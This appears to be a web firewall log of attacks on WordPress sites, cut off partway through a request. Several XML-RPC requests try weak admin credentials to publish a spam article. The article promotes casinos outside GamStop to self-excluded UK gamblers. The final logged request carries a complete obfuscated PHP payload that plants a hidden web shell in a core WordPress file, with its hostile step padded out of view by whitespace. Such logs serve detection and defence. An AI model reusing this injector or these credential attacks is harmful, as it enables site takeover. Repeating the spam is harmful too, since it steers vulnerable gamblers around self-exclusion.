Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:45:52","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:46:33","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5225\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nCO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_r